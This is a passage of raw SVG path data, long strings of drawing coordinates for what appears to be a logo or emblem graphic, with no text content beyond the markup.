-1.2-1-.4-.5-.6-.7-.3-.7-.3-.8.1-3.1.5-.3h.4l.7.5.6.7.3.4 1.4.7 1.1.5h1.3l.6.1.5-.2.6-.2.4-.6.4-.6.1-.6-.1-.8-.2-.6-.3-.5-.3-.5-.5-.3-1.1-.7-1.2-.5-1.5-.4h-1.4l-1.3.3-1.3.4-2.5.9-2.4 1.1-.4-.5-.1-.6.2-1.2.4-1.2.6-1.2.8-1 .9-1.1 1-.9 1.1-.8 1.2-.6 1.2-.4 2.8-.3h1.4l1.5.1 1.4.1 1.4.4 1.3.5 1.1.7 1.6-.6 1.6-.5 1.8-.2 1.9.1 1.4.3 1.5.3 2.8 1.1 2.8 1.2 2.8 1.2 2.8 1.2 1.4.5 1.4.3 1.4.4 1.5.1h1.6l1.6-.1.7-.1.7-.5.6-.2.7.3-.1.5-.1.4-.5.9-.7.7-.6.8 1.9.5 2.1.4 1.9.7 1 .4.9.6v1l-2.2.2-1 .2-.9.5 2 .8 2.1.6 1 .3.9.5.9.5.6.7v.M
7h-2.3l-1.1.4-.5.3-.4.5 1.1.5 1.2.3 2.5.7 2.4.7 1.1.4 1.1.6 1.3 1 1.1 1 1.1 1.2 1.1 1.5.3.7.3.7.1.7-.3.8h-1l-1.1-.2-.8.1-.4.3.8.8 1 .8 1 .8.9 1.1 1.6 2 1.3 2.2.1.7.3.6v.7l-.1.5-.8.2-.5-.2-.8-.5h-.6l-.6-.1h-.5l-.4.4 1.9 1.5 1.9 1.8 1.6 2 1.4 2 1 .1 1.1-.1.9-.2 1-.3 1-.3.9-.6.8-.7.8-.8.1-1.2.3-1.1.8-2.2 1.2-2.1 1.5-1.9 1.6-1.6 1.9-1.5 2-1.2 1-.3.9-.4 1.4-2.3 1.7-2.3 1.7-2.1 2-2.4 2.2-1.7 2.3-1.4 2.6-1.1 1.2-.4 1.4-.3 2.6-1 2.5-.8 5.3-1.4 2.3-.3 2.4-.4 4.8-.4 4.8-.2h5.1l6.3-.2h6.4l12.9.1h13.1l6.5-.1 6.4-.2 5.1-.1 5.1.M
1 10.3.1 10.3.2 10.5-.2 1.5-.3 1.5-.2h.7l.7.1.7.2.7.4-.2.8-.3.9-.5.7-.6.7-1.4 1.3-1.3 1.1-1.2 1-1.4.9-1.4.8-1.4.7-2.8 1.1-2.9 1-2.4 2.7-2.5 2.7-1.4 1.2-1.4 1-1.5 1-1.6.6-.6 1.2-.7 1.1-1.7 2.1-1.8 1.9-2.1 1.6-2.1 1.5-2.2 1.4-2.3 1.2-2.3 1-2 2.5-2.2 2.2-2.3 1.9-2.5 1.7-2.6 1.6-2.6 1.3-2.6 1.2-2.8 1-4.7 1.3-2.5.6-2.5.5-1 1.4-1.2 1.2-1.4 1.1-1.3.8-1.6.8-1.6.7-3.1 1.2-2.1.3-2.3.3-4.5.3-1.4 1.1-1.4.9-1.5.7-1.5.6-.7 1.5-.4.8-.5.6-2 .9v1.3l-.3 1.3-.6 1.1-.8.9-.3.4-.6.2-1 .3h-2.2l-.7.8-.8.6-.8.3-.9.3-1 .1-.9-.1-1.9-.2-.6-.5M
-.6.2-.5.4-.6.3-1 .3-1 .1-.9.1-.9-.1-1-.2-.9-.4-.8-.4-.7-.5-.7.8-.8.7-.9.6-.9.5-1 .3-1 .2h-1l-1-.3-.6-.1-.6.8-.8.5-.9.4-.9.3-1 .2h-1l-1.9-.1-1.2-.4-.9-.6-.8-.8-.7-.8-.4.2-.6.8-1 1-.8.5-.8.4-.9.3-.9.2h-.9l-1-.1-.9-.3-.3-.5-.5-.4-.6-.8-1.2.6-.6.3-.5.3.1 1.4v1.6l-.1.7-.2.7-.3.6-.4.5-.3-.6-.3-.5-.5-.5-.6-.4-1.1-.8-.8-.3 1 1.2.6 1.2.3.6.3.7.1 1.3-.2 1.4-.4 1.5-.4 1.4-.9 2.3-.4.7-1.2-1-1-1.1-.3 2.8-.4 2.7-.3 1.3-.5 1.3-.5 1.2-.7 1.1h-.7l-.6-.3v-.7l-.1-.7-.3-.6-.4-.4-1.2 2.1-.8 1.1-.8.8.1.5.1.6.6 1 1.5 2 4.5 2.3 2.3 1.1 1M
.2.3 1.3.2 1 .4.9.6.7.8.8.9 1 .5 1 .8.8.9.6 1c5.8 2.3 11.3 4.7 16.6 7.5 1-.2 2-.3 3-.2 28.6 4.5 65.9 24.9 90.1 41.3l-23.3 2 2.4 19.3c-3.9-2.7-11.1-7.6-19.6-12.9 37.7 62.8 17.4 144.3-45.3 182-20.3 12.2-43.5 18.7-67.2 19h-1.1c-73.2 0-132.6-59.3-132.6-132.5 0-24.1 6.6-47.8 19.1-68.6zm45.5-20.7c-9.3.2-26.3 9.1-41.1 18-39.3 60.3-22.3 141.1 38 180.4 20.5 13.4 44.4 20.7 68.8 21.1-7.6-6.4-14.9-13.3-21.8-20.4-60.7-13.8-98.7-74.2-84.9-134.9 5.9-25.5 20.4-48.2 41-64.2zm2.8-2s40.6 9.8 65.3 11.5c24.8-1.7 65.4-11.5 65.4-11.5 14.M
1-2.5 51.8 22 65 30.9l-2.1-16.5 19.1-1.6c-23-14.9-57.2-33-83.6-37.2-2.1-.3-19.9 4.6-22.3 5.2-13.4 3.3-27.6 6.2-41.5 6.9-19.3-1-37.7-6-56.3-10.7-4-1-6.5-1.5-7.2-1.4-26.4 4.2-60.6 22.4-83.6 37.2l19 1.6-2.1 16.5c13.1-9 50.9-33.5 64.9-30.9zm89 116c4.3 5.2 8.3 15.3 8.9 21.6 0 3.6-.6 7.2-1.8 10.6 2.9-.7 7.4-7.1 8.8-9.9l1.1-2.2c4.5-8.9 2.7-15.9-1.8-24.3-1.2-2.3-2.8-4.3-4.7-6.1zm-33 33h1.4.6c5.9-.6 11.2-2.4 15.3-6.9 1.4-1.5 2.8-3.8 2.5-6-.4-1.8-1.1-3.4-2-5zm-10.2 8.1 6.4-6.5c.3-.4.7-.8 1.1-1.1l20-19.9 13.7-13.7c.1-.3.4-.6.M
7-.7l52.2-52.2v-.6c0-7.5-.7-15-2.1-22.3l-.8.3-2.3.7-3 .9-3.8 1-4.4 1.2-4.9 1.3c-2.1.5-4.2 1.1-6.3 1.5l-98.8 98.6c5 9.3 10.8 18.2 17.2 26.5l14.4-14.3zm-51.1-119.1 1 .3 2.3.7 3.1.9 3.7 1 4.3 1.2 4.8 1.2c16.4 4.1 35.1 8.1 52 8.1s35.6-4 52.1-8.1l4.8-1.2 4.3-1.2 3.8-1 3-.9 2.3-.7 1-.3 2.1-.6.5 2.2c5.4 25.6.8 57.5-7.9 81.7-13 36.2-36.6 66-65.9 90.5-42.6-35.8-72.8-83.2-75.7-139.7-.6-10.7-.3-21.9 1.9-32.5l.5-2.2zm67.6 56.6c-1.9-6.1.4-12.6 4.7-16.9 1.4-1.3 3-2.4 4.7-3.3.6-.3 1.2-.5 1.8-.6l-.8-.4c-1.1-.3-2.3-.4-3.4-.4-4.8 0-M
8.9-.1-13.7 1-11.5 2.8-18.3 16.6-18.3 27.7-.2 5.5.4 10.9 1.7 16.2zm19.1-19.1c-12.2-2.9-18.6 6.3-17.7 17.7zm-34 .5c9.2-6.7 24.7-5.5 35.2-1.8l26.7-26.7c-14.2 3.3-29.2 6-43.4 6-17.3 0-35.9-4-52.6-8.2l-4.9-1.3-4.3-1.2-3.8-1-3.1-.9-2.3-.7-.8-.2c-5.1 25.2-.5 56.7 8 80.5 2.9 8.1 6.4 16 10.4 23.6l10.5-10.5c-8.3-17.3-.1-42.3 15-53.2 2.2-1.3 6.8-4.9 9.4-4.4zm-17.3 50.7c-2.8-1.3-5.5-4.7-7-7-.5-.8-1-1.7-1.4-2.6v1.9c0 1.3.1 2.6.4 3.9.4 2.9 1 6.9 2.3 9.7zm7.6-7.6c-4.5-12.3-2.2-32 7.5-41.2-13.1 5.3-29.9 29.5-19.6 42.7 1.1 1.5 3.8M
 4.2 5.5 4.9zm9.9 38.4c2.4.7 6.2 2.2 7.2 2.5 3.1 1 8.3 1.6 11.4 1 2.5-.6 5.1-1.1 7.1-3.1 3.8-4.1 4-12 3.4-17.3-5.7 7.7-13.3 10.3-22.3 10.1zm59.9-60c.5 1 .9 2 1.2 3 2.6 6.3 4 15 2.9 21.8-.3 1.5-1.5 3.8-1.5 4.6-.4 3.8-.6 6-2.4 9.5l-1.1 2.2c-2 4-4.8 7.6-8.4 10.3-1 .8-2.3 1.3-3.3 2.2-.8.8-1.6 1.6-2.2 2.5-1.9 1.9-4 3.5-6.3 4.7-4.5 2.2-9.2 3.6-14.2 4.2-1.4.1-2.9-.3-4.1-.3-1.1.1-2.2.6-3.3.7-4.9.4-13.4-1.8-18.4-4.2l-14.8 14.8c10.2 13 21.7 24.9 34.3 35.5 43.2-36.4 73.7-86.4 73.9-143.9zm-6.9 6.9c.6.7 1.4 1.6 1.7 2 3.8 4.8 6.M
9 10.1 7.6 16.4.3-1.4.4-2.7.3-4.1.5-5.4-1.1-15-3.8-20zm-25.4 25.5c.9 2.1 1.7 4.2 2.3 6.4 1.9 6.9 1.8 21.2-5.8 24.7 2.9.2 10.1-2.3 12.6-3.5 7.1-3.1 10.7-7.9 11.6-15.5.3-1.4.4-2.8.4-4.2-.4-2.6-1-5.2-1.9-7.7-.4-1.8-1.1-3.5-1.8-5.2-1.4-2.7-3.1-5.2-4.9-7.7z" fill="#101111"/><path d="m392.6 18.4-1.4 1.9-1.5 1.4-1.7 1.2-1.7 1.1-1.8.9-2 .8-2 .7-1.9.5-2 .4-2.1.4-4.2.6-4.2.3-4.2.2-5.8-.6-2.7-.5-2.8-.6-.7-.4-.9-.1 2.3-1.6 2.1-1.6 1-.9 1-1.1.9-1.1.9-1.2 4.2-.1 4.3.1 8.6.3 4.5-.1 4.7.1 4.6-.1 2.2-.1zm-200.1-2-1 .1h-.9l-.8-.1-.8M
-.2-1.6-.6-1.5-.7-3-1.7-1.5-.8-1.6-.5h-.8l-.7-.1-1.4-.2-1.2.1-1.1.8-.1 1 .2.9.4.9.6.8.5.7.3.9 1.3.4.1-.7-.2-.7-.5-1.2-.8-1-.7-1.1.9-.3 1.4.9.5 1.5.7 1.1.8.4.9.4.8.3 1 .1h1l.9-.2 1.7-.4 1.6.5 1.6.4.8.1.9-.1.9-.1zm-6.5 68.1-.2-.7h-.9l-1.1.8-1 .9-.8 1.1-.6 1.1-.5 1.2-.3 1.3-.1 1.4v1.4l1 .3.7-.6.7-1 .8-.6 2.1-1.1 1.1-.3 1.6-.5-.6-1h-1.2l-1.8.6-1.4.5-1.3.4.6-1.6.8-1.5.4-.7 1.4-1zm17 1.2-.7-1-.8-1-.9-1-.9-.9-1.2-.4-1.2.5.6.8.7.4.7.4 1 1.4.3.7.3.8-1.5-.6-1.6-.4-1.5-.2-1.6-.1-.3 1.3 1.5.2 1.5.3 1.4.5.7.5 1.3 1.2.9 1.4.8.3.M
9-.7.3-1.2-.1-.7-.3-1.2zm26.8-.9-.3-.7-.1-.8-.8-1.1-1 .3.6 3.5-.8-.2-.8-1-1-.6-.9-.9-1-.4-1.2.2.3.9.8.6.9.5.8.7.8 1 .4 1.2.3 1.1.6 1.1.9-.1.7-.6.5-1 .3-1.2.1-1.3zm-15.8-4.2-.4-.1-.4.1-.4.1-1.1.6-.9 1-.7 1-.4 1.1-.3 1.3-.1 1.2v2.6l1.3.2.4-.9.5-.7.6-.8.7-.6.9-.5.8-.4.9-.3.8-.2.6-1.3-.7-.1h-.8l-.7.2-2 1-1.4.8.1-.9.3-.9.5-.9 1.3-1 1.1-.7v-.7zm-22.8-12.6v-1l-.9.1-.7.3-1 .9-.8.9-.6.9-.6 1.1-.4 1.1-.2 1.1-.4 2.3.5.7.9.2.9-1.3 1.1-1.2 1.2-1 .7-.3.8-.2.8-.3.7-.1.7-.1.8-.3-.4-1.1-1.6.1-1.6.3-1.5.6-1.6.7.3-.7 1-1.6zm31.9 2.7-M
1-.6-.7.3.1.8.6 1 .1.7-.4 1.7-.6-.7-.7-.8-.8-.6-.7-.6-1-.3-.8-.3-1-.2h-1l.2 1.1.8.2.8.3.7.4 1.8 1.9 1 1.3.4 1.1.5 1 1-.2.6-.9.4-1.6.2-1.8.1-.8-.1-.9-.2-.8zm-13.3-6.2.1-1.1-.1-.8-.1-.9-.4-.8-1.1-1.5h-.7l-.1.7.2.7.4.8.3.8.1 1.5-.2.7-.2.4-.4-.6-.7-.9-1.3-1.1-1.4-1-1.3-1h-1l-.4.8.9 1 1 .7 1.1.7 1 .8.6.9.5 1 .5 1.1.8.9.7.1.8-.4.1-1.8zm12.5 0v-.7l-.2-1.2-.5-1.7-.4-.8-.7-.5-.9.3.1.9.5.9.3.9-.1.9-1.4-1.2-1.5-1.2-.9-.5-.6-.6-1-.2-1-.1v1.3l1 .4 1 .5.9.7 1.1.7.8.9.7.9.6 1 1 1.3 1-.6.4-1.7zm-29.3-11.4-1.1.2-1 .6-.7.8-.5 1-.5 1M
.3-.3 1.1-.3 1.2.4 1.2h1.1l.9-.6 1-.9.9-.8 1-.4 1-.2 1.1-.3 1-.3-.3-1.1h-1.2l-1.1.2-1 .4-1.4.5-.7.6-1 .2.3-.9.3-.8.5-.7.7-.7.7-.6zm-10.1 1.1-.7-.6-1.1.6-1.5 2.2-1.3 2.3-.5 1.2-.3 1.2-.4 1.2-.1 1.4.9.4h.9l.8-.3.8-.4.8-.6.7-.5 1.4-.4.9-.3.1-.8-1-.2h-1l-.9.2-.8.4-.7.4-.8.2.3-1.3.5-1.3 1.4-2.5 1.4-1.7zm33.7-6-.7-.8-.9-.4-.5 1.1.6.7.4.8.3.7.1.9-1.2-.9-1.3-.7-1.4-.6-.8-.1-.9.1v.7l.9.7 1 .4 1 .4 1 .8.8.7.6.8.7.7 1 .3.3-.8.2-.8v-.8l-.1-.9-.5-1.6-.5-1.5zm-1-9.2-.6-1.2-.7-1-.7-.4-.6-.6-.7-.2-.8.5.4.7.9.6.9 1.2.3 1-.7-.2-2-.9M
-1.5-.2-1.5.1-.7.5.5.9.9.2.8-.1.8.1.9.4.9.6.8.8.6.8h1l.9-.4.2-.8-.1-.9zm-30.9 9.2.4-1 2.8-1.2 1.4-.8 1.3-1-.4 1.2-1 1-.6 1 .7.6 1.8.1.6-.1 1-.2 1.4-.4 1.5-.7 1.2-.9 1.1-1 .7-1 .8-1.4.6.9.1.7-.2.8-.4 1.1.4.8 1 .2 1.4-.8.8-.7.6-.9.6-.9.4-1 .3-1 .1-1-.1-1-.8-.6-.8.5-.2.7-.1 1.3-.4 1-.5 1-.4-1.1-.5-1.2-.7-1.1-1-1-1.3-.2-.5.9-.1 1.1-.3 1.1-.4 1-1 1-1.2.9-1.1.6-1.2.3.3-1.4.2-1.5v-.7l-.2-.7-.3-.7-1-.7-.7.3-.6 1-1.4 1.6-1.1.7-1.1.7-1.2.5-1.3.5-1.3.2-1.3.1h-1.4l.8-.7.7-.8.8-.8.6-1 .5-.8.4-1 .4-1 .2-1.1-.2-1.7-.3-.7-.7-.5-.9M
.5-.9.3-1 .1-1-.3.7-1.4.4-1.6.1-.8v-.6l-.2-1-.3-.8-1.2-.5-.7.6-.8.4-1.6.5-.3-.7-.1-.8-.1-.8-.4-.7-.4-1.1-.4-.9-.6-.8-.7-.7-.7-.6-.9-.5-1.8-.8-1.9-.9-1.7-.8-.9-.6-.8-.6-.7-.9-.6-.9 1 .3.9.3 1 .6 1.2.4.7.1 1.3-.4 1.1-.7.7-1.1.3-1.8-.2-1.3-.5-1.2-.9-1.1-1.1-.9-1.5-.7-.7-.3-2.8-.4-2.1.2-1 .1-1 .3-1 .4-.9.5v-1.3l.7-1.1.9-.9 1-.8 1.1-.7 1.3-.4 2.5-.8 1.8.2 2 .3 1.8.6.8.3.8.5.4.9v1.1l.1.9 1.2.2.4-1-.1-1.1v-.3l.8-.6 1-.3 1.1-.1 1-.1h1l2 .2 1.9.6 1.9.8 1.9.8 1.9.8 1.7.8 2.5 1 2.8.9 1.1.3 1.4.3 1.4.1h1.3l-1.1.7-1.4.3-.2 1.2 M
1 .7 1.9-.2 2 .1 1.9.3 1.8.5-.9.6-.9.9-1.5 1.8.1.7 2 .3h1.6l1.5.3 1.5.5-.8.6-.6.8-.3.9.2 1 .8.7.8.4.9.3.9.4 2-.1 1.9.5 1.1.5 1.1.4 2.2 1.3 2.1 2.3.8.8-1.2.2-1.2.3-1 .5-.8.6.1 1 .4.8 1 .5 1 .5 1 .7 1 .9.9.8.7 1 .6.9.5 1-1.3.1-1.3.1-1.3.2-1.2.6-.1.7.4 1.2 1.6.8 1 .6 1.6 1.3 1.9 2 1.5 1.9-1.2.2-1.1.2-2.3.5-.9.2-.6 1 .6.8.7.3 3 2.4 1.2 1.1 1 1.2h-2.1l-1 .1-.9.3.3 1.1.7.8.8.7 1 .8.7.7.8.9 1.5 1.7 2.5 3.5-1 .2-1.1-.4-1.2-.2-1.2.4v.7l.6.9 1 2.2.5 1.7.3 1.8.3 1.7-1.1-.2-1.1-.3-1.1-.1-1 .5.1.8.8.2 1.1.3 1.3.3 1.2.4 1.3.2 1 M
.5.8.6 1.4 1.3 1.1 1.5.9 1.6.6 1.9.5 1.9.4 1.9.2 1.9-2.3-.7-1.2-.3-1.2.1-.3.7.1.7.8 1.2.6.8.5.9.4 1.1.1 1v1.1l-.1 1.1-.3 1-.4 1-.7-.6-.8-.6-.7-.5-.9-.1h-.9l-.9.1-1 .6-1 .7-.8.9-.7.9-.6-.9-.7-.7-.8-.6-1-.3-1-.3-1-.2h-2.1l-.7.3-.8.3-.7.6-.6.7-1 1.6-.8 1.6-.9-.6-1-.8-1.2-.4-1.1.3-.1.8-.3 1-.5-.7-.2-2.8v-2.9l.1-1.2.3-1.3.5-1.2.7-1.1.1-.9-.9-.2-.9.2-.8 1.3-.6 1.4-.5 1.5-.3 1.6-.1 1.6.1 1.6.1 1.6.2 1.6.4 1.1.5.9.8 1 .8.8.9-.3.4-1 .7-2.5.8.7.9.8.9.6 1.1.2.3-.9.3-.9.4 2.5.2 2 .1.6v1.3l-.1 1.2-.2 1.3-.4 1.1-1.8 1.4-2 1.3-1.M
8 1.2-.9.8-1 .9-1.2.3-1.1.4-1.2-1.2-1.4-.8-1.1.6-.9 1-.8 1-.9.9-.8-1-.8-1-.9-.9-.9-.6-1 .6-1 .9-.9.7-1.3-.4-.4-.7-1.2-1-.7-.3-1.4-.6-1.6-.4-1.3-.6-1-.9-.5-1.2v-.8l.2-.9.4-1.9.4-1.9.4-1.8.1-1-.1-.9 1 .5.7.1h.7l.9-2 .4-1 .2-1.1.8 1 .8 1 1.3 2.1.1 1.8.4.8 1.2.8.8-.3 1.2-1.1.9-.5 1.1-1.2.6-1.4.5-1.6.1-1.7-.1-1.6-.1-1.7-.4-1.5-.3-1.6-1.1-1.9-.9-.8-1-.4-1 .4.1.8 1.3 1.6.6 1.3.4 1.4.3 1.5.1 1.4-.1 1.6-.1 1.5-.3 1.3-1 1.4-1.3.8-.3-1-.2-1.1-.2-1.6-.7-.8-1.2-1.8-.7-.8-.8-.5-.9-.3-1.1-.1-.6.8-.2 1.1-.1 1.1-.3 1.1-1.1-1.5-1.3-M
1.5-.8-.7-.7-.6-1-.4-.9-.3h-.6l-.8.3-1.3.7-.9 1-.9 1.1-.8-.7-.4-.7-.4-.9-.3-.8-.3-1.7-.2-1.9-.9-.4-1 .2-1 .5-.9.6v-2.3l.5-2.2.6-2 .8-2-.4-1-1 .1-.9.3-1.5 1 .4-1.5.6-1.5.9-1.5 1-1.4 1-1.3 1.3-1 1.4-.9 1.6-.5.8-.6.9-.3 1.9-.5v-.7l-1.8-.6-.7.2-.6-.7-.1-1 .1-1 .2-.9.5-1.7.6-1.7.4-.7.6-.7.4-.7-.4-.8-1.1.1-1.1.3-1 .5-.9.4.7-1.3.9-1.2 1.2-1.1 1.2-1-.1-.9-1.3.1-.9.3-.8.6-.8.8-.7.8-.6.9-1 1.7-.3 1.2-.4 1.1-.2 1.1.7 1 1-.1.7-.6.7-.7.8-.4-.3.8-.3 1-.3 1.7-.3 1.9-.2 1.2-.1.7-.9.3-.7.4-1.5 1.1-1.4 1.3-1.2 1.4-.7.4-.9.3-.8.3-1 .M
2h-1.8l-.8-.1-.9-.2-1.2-.9-.7-.1-.7.1-.6.9-.7.8-.9.8-1 .6-1.1.3-1.2-.1-1.1-.4-.9-.5-.9-.9-.5-1.1-.7-.9-1.1-.1-.8 1.3-.5 1.9-1 1.2-1.3.8-.8.3-.9.3-.8.3-.9-.2-.9-.6-.4-.8 1-.8 1-.9.8-1 .7-1.2-.3-1-1 .4-2.1 2.1-1.7 1-.9.6-1 .4-.9.4-1 .1-1-.3-1-.6.9-.8 1-.8.8-1 .1-1.2-1-.5-1.2.9-.8.8-.9.8-.9.6-1 .5-1 .4-1.2.2h-1.4l-1.7-.8 1-.8 1-1 .9-1.1.6-1.2-.2-.8-.8-.6-.7.4-.6 1-1.2 1.5-.8.7-.8.5-.8.4-1 .4-.9.1h-1l-.8-.2-.7-.6.9-.8.8-.9.6-1 .5-1.1-.2-.7-1-.2-1.1 1.3-.6 1-.9.9-.9.5-1 .2h-1.1l-1-.3-.8-.6-.9-.7-.6-.8-.4-.8.3-1.2v-.4-.4M
l-2.3-.3-1-.2-.8-.3-1.5-1.5 3.1.3 3.1-.2 2.9-.3 2.8-.7 2.8-.9 2.7-1.1 2.7-1.2 2.6-1.3 1.2.3 1.4.1 2.7.1.5.9.7.9.8.7.7.6.9.6 1 .3 2.1.5.1.8.7 1.2 1.4 1.2 1.4 1 1.2.5 1.3.3 1.3.1 1.4-.1 1.4-.3 1.3-.3 1.2-.6 1-.7.9-.7.9-.3 1.3.8.5.2.7.3 1.2.3 1.4.2 1.3.1 1.3-.1 1.3-.2 1.3-.3.5-.3.9-.5 1.1-1.2 1-.2 1.2.3h.8l1.3-.3.8-.8v-.7l-1.3-.1h-1.3l-1.1-.2-1-.4-1 .3-.7.8-.8.8-.9.6-1.2.4-1.3.2-1.3.1-1.2-.2-1.2-.3-1.2-.4-1.1-.9-.9-.8h-.7l-.9.8-2.1 1.4-1.8.8-1 .3-.5.1-.5.1h-1l-.5-.1-.5-.1-1.3-.3-1.3-.7-.9-.8-.7-1.1 1.9-.3 1.7-.6 1.7-.M
7 1.7-.8.3-.7-.2-.7-1.2-.3-1.1.4-1.1.6-1.1.4-1.3.3-1.2.2-1.4-.1-1.3-.2-1.2-.3-1.1-.5-1-.8-.9-.9 3.7-.8 1.8-.5 1.7-.6.4-.9-1.2-.7h-1l-1.1.5-1 .3-3 .3-1.5.3-1.6.2-1.5.1-1.5-.2-1.3-.4-1.4-.9-.8-.3 3.8-.6 3.7-.6 3.5-.9 1.7-.6 1.7-.7.4-.8-.2-.6-.8-.5-1.3.5-.8.3-4.6 1.2-2.3.5-2.5.4-2.4.3-2.4-.1-2.4-.3-1.1-.4-1.2-.4-1.8-.9-.8-.5-.7-.7 2.4-.2 2.4-.1 2.5-.3 1.1-.2 1.1-.3 2.7-.7 2.8-1 2.6-1 2.7-1 1.2.5 1.3.3 1.4.3 1.4.1.4 1.1.6 1.1.8.8 1 .8 1 .6 1.1.5 2.3.8 2.5.1.4.7.4.8.6.7.7.6 1.4 1 1.6.7 2.3.1 2.1-.2 1-.2 1-.3 1-.4.9-.5.9M
-.3.5.7.8.8 1.2.6 1.1.4h.7l.7-.1.8-.5.2-.7-.8-.6-1.4-.1-1.3-.3-1.1-1.4-.8-1.5-.7.2-.7.4-1.2.6-.8.5-1 .4-.9.2-1 .2h-2.1l-1.9-.3-.8-.5-.8-.5-1.1-1.4 1.6-.6 1.7-.6 1.1-.5.5-.2.8-.5.6-1.2-1.2-.4-.8.2-1.4.7-1.4.6-1.5.9-1.2.3h-1.1l-1.1-.1-1.1-.3-1-.4-1-.4-2-1-1-1.5 2.5-.1 2.3-.6 2.2-.6 2.1-.8.4-.8-.2-.9h-1.3l-1.3.5-1.4.4-1.5.4-1.4.2-1.5.3h-1.6l-1.6-.1-1.4-.2-1.4-.4-1.4-.9-1.1-1-.8-1.3 2.6-.1 2.5-.1 2.6-.4 1.1-.3 1.2-.4 1.4-.3.7-.2.5-1-.6-.8-2.1.6-2.2.5-2.4.3-2.3.3h-2.4l-2.2-.4-2.1-.7-1.1-.4-.8-.6 2.7-.3 2.8-.6 1.4-.4 1.3M
-.4 1.2-.6.6-.3.7-.4.7-.3.5-1.3-1.5-.1-1 .4-2 .9-2.1.8-1 .3-1.1.1-2.1.3-1.1.1-1-.1-1-.1-1-.3-.9-.5-.6-.8 1.7-.8 2-.6 1.9-.7.9-.5.9-.6.8-.3.8-.6 1.4-1.1v-.8l-2.8.4-2.3 1.2-2 1-2.1.7-2.3.5-2.3.4-2.1-.4-1-.4-.8-.5 2.6-1.3 2.6-1.3 2.6-1.5 1.1-.9 1.1-1v-.7l-.9-.4-.9.3-1.2 1-1.7 1-1.8 1-1.8.8-1.9.7-2 .4-2 .2-1-.1-1-.2-1-.2-1-.4-1.1-.9-.9-.9 3.1-1.2 3-1.2 3-1.5 1.6-.8 1.3-1 .8-.9-.3-.9-.9-.1-1.7 1-1.3.8-2.7 1.4-2.7 1.1-2.8 1.1-2.9.5-1.5.3-1.5.1h-1.4l-1.4-.2-1.5-.4-1.4-.5-.9-.6 3.4-1 3.3-1.2 3-1.4 2.3-1.2.8-.4.2-.7-.6-.8-1M
.1.2-.7.3-.7.4-2 1-.5.2-2.6 1.1-2.7 1-3.1.9-1.4.2-1.4.1h-1.4l-1.4-.2-1.3-.3-1.5-.4-1.4-.7-1.2-1-.9-.6-.7-.8-.5-.9-.3-1 3.2-.9 3.2-.5.4-.8-.3-.9h-.9l-1 .1-1.5.6-1.7.5-.8.2-1 .1-2.3.6-2.3.5-4.7.8-4.9.4-5 .4-2.3-.1-2.3-.4-2.3-.5-2.1-.7-2-1-1.9-1.3-.8-.7-.8-.8-.8-1-.6-1-.5-.8-.5-.9-.5-.7-.4-.8 6.8-.1 7-.1 6.8-.1 7-.3 12.5-.1 12.7.3 12.6.6 12.6 1 4.9.7 4.9 1 2.2.5 2.1.8 2.2 1 2 1.1 2 1.4 1.8 1.4 1.7 1.6 1.5 1.5 1.3 1.3.8 1.3.8 1.4.9 1.3-.1.8.9 1.1.7.4 1.6.3 1.6.5 1.4.8 1.4.8 1.2 1.1 1.2 1.1 1 1.4.8 1.5.7 1 1.6 2.3 1.4 1M
.6 1.4 1.5.9.6.9.5.9.5.9.3 1 .3 1 .1h1l1.1-.2 1.2-.5 1.2-.6 1.1-.8 1-.8 1-1 .8-1.1.7-1.1.4-1.3zm-4.4-33.7.7.7.9.3h.9l1.2-.3v.8l-1.4.4h-.7l-.8-.2-.7-.5-1-1.4-.1-.8.7.1zm48.5 126.8.2 1.3-.3 1.3-.4.8-.7.9.1-1.2.1-1-.2-.9-.5-.7.8-.4zm-3.7-25.2-1 .2-1-.1h-1l-.9.2.9-.7 1.1-.3h1.1l.9.3zm-40.1.6-1.6.2-.9.1-.9-.3.7-.7.9-.1zm40.6 1 1.1 1.9 1.4 2 .8.9.8.7 1 .5 1.1.4 1 .9.7 1.1-.1 1.1.2.8.8.3.8-.5.3-.9-.1-.9.7.6v.8l.4.9.7.4.7-.4.4-1.5 1.4.8.7.5.4.7.2.7-.3 1-1.1.1-3.4-.9-3.5-.5-.4.7.2.8.6.7.2.8-.7.8.1.9 1 .4.9-.9.7.4-.7.9-.4.7.M
8.7.7-.1.9-.5.2 1.4-.3.7-1.5-.4-.9-.9-2.1-2.2-1-.9-.9-.7-.8-.8-.7-.4-.9.8.1.9.4.8-1.3.7-.7.7.5.8 1.7-.1-.4.7-.7.5-.3.9 1.6.4.2.7-.3.7-1 1-.7-.2-.8-.8-.7-1.7-.3-1.1-.3-.9-.2-.8-.2-1.7-.2-1-.3-.7-.3-.8-.5-.7-1.6-.4-.8-.3-.8-.4-.7-.5-1-1.4-.2-.8-1-.4-.9.3-1 .4-.8.3-.9.1-.8-.2v-.8l.4-1.2.7-.5.5 1 .8.2.3-1.4-.3-1 1 .9.8.4.7-1.1-.1-.8.6-1.1 1-.8 1-.9.8-1.1 1-.5 1.2-.3 1.3-.1zm-14.6 8.2-.1.9-1 .9-1.2.7.2-.9.6-.8.9-.6zm-13.3 3.9-1.2-.9-.8-.4-.7-.3v-.9l.4-.9 1.2.6.7 1.1.3.7zm47.3 3.1-1.4-1.2-1.4-1 .6-.8.8.4.8.9.5 1zm-83.5-.M
6-.9.6-.8.8-1 1.5-.1-1.4.4-.7.4-.7.9-1.1.8-.6.4.8zm16.5 5.6-.6.8-.8.5-.7.2-.7-.6.3-.8 1-.5.4-.7-1-.3-.4-1 .7-.2.9.1h.7l.3-1-2.1-.4.5-1.2.4-.7-.9-.9h-.7l-.9 1.3-.8 1.5-.8 1.4-1 1.5-1.1 1-.8.2-.7-.1-.9-1 .2-1.2 1.1.4 1 .7.4-1-1.5-1.4.8-.4 1 .6.3-.8-.6-.8.1-1 1.1-.8 1.1-.8.9-.8-.3-.7-.8-.3-.7.1-1.6 1.1-1 .9-1.3.4-1.3.4-1.4.3-.7.1-.7-.1-.7-.2-.7-.7.1-1 .6-.7 1.4-.6.9-.3.9.4.6.8.9.3.4-1.3-.3-.7.8.2.4.7.9.6.4-1.1-.1-.8 1-.8 1.2-.4 1.3-.4.7-.3 1.2-.7 1.4-1.6.9-1.3 1-1 .7-1 .6-1 .7-.8 1.3-.1 1 .2 1 .5.2.8.9 1.8.9 1 1.3.8.3M
